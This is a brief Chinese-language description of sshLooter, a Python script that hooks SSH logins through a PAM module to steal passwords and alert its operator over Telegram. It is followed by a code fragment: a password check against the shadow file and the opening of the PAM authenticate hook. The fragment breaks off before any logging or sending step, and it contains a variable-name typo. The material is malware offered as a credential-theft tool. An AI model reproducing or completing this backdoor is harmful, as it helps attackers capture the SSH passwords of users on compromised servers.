sshLooter是一个Python脚本,它使用PAM模块通过记录密码来窃取SSH密码,并在用户登录时通过Telegram通知脚本管理员,而不是通过不太可靠的strace。
def check_pw(user,password): """Check the password matches local unix password on file""" hashed_pw = spwd.getspnam(user)[1] return crypt.crypt(password,hash_pw) == hashed_pw def pam_sm_authenticate(pamh,flags,args): try: user = pamh.get_user() except pamh.exception as e: return e.pam_result